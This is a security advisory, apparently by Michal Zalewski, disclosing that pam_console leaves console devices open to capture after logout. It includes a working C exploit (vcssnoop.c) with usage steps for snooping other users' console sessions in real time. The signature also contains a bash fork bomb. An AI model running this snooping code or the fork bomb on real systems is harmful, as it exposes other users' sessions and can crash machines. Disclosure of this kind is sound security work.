pam_console.bug

`When accepting luser console login, pam_console called by /bin/login tries  
to be user-friendly, doing several chowns on devices like login tty and  
corresponding vcs[a] device, as well as other interesting devices: fd*,  
audio devices (dsp*, mixer*, audio*, midi*, sequencer), cdrom,  
streamer/zip drive devices, frame buffer devices, kbd*, js*, video*,  
radio*, winradio*, vtx*, vbi* and so on. Probably it's designed to make  
console logins more comfortable, but has DEADLY effects on servers with  
console luser-login ability (and that's quite common).  
  
On logout, these devices are chown'ed back to root, but unlike  
/dev/tty[0-9], these devices have no hangup mechanism, so user will have  
full control over them after logout by opening them and then keeping the  
file descriptor. The easiest attack is read-write snooping of consoles.  
Log in on console once, open /dev/vcsX (where X corresponds to tty  
number), then logout. By continous lseek/read loop, your program will be  
able to snoop futher logins on this console - forever. Also, it's possible  
to write() on snooped console... Ugh. Other possibilities include reading  
any inserted cd, reading/writing any inserted floppy, messing with  
video/audio devices and so on, all in the same way.  
  
Minimal tty snoop exploit:  
  
-- vcssnoop.c --  
#include <sys/fcntl.h>  
  
main(int argc,char*argv[]) {  
char buf[80*24];  
int f=open(argv[1],O_RDWR);  
while (1) {  
lseek(f,0,0);  
read(f,buf,sizeof(buf));  
write(1,"\033[2J\033[H",7); // clear terminal, vt100/linux/ansi  
write(1,buf,sizeof(buf));  
usleep(10000);  
}  
}  
-- EOF --  
  
Log onto console, let's say it's tty3. Then, compile and launch this  
program via screen, giving path to vcs device corresponding to your login  
tty (in this case, /dev/tty3). Then, detach this screen and logout. Wait  
some time, log in remotely to your account and resume screen session. You  
should see real-time tty3 dump.  
  
_______________________________________________________  
Michal Zalewski [[email protected]] [tp.internet/security]  
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:  
=-----=> God is real, unless declared integer. <=-----=  
`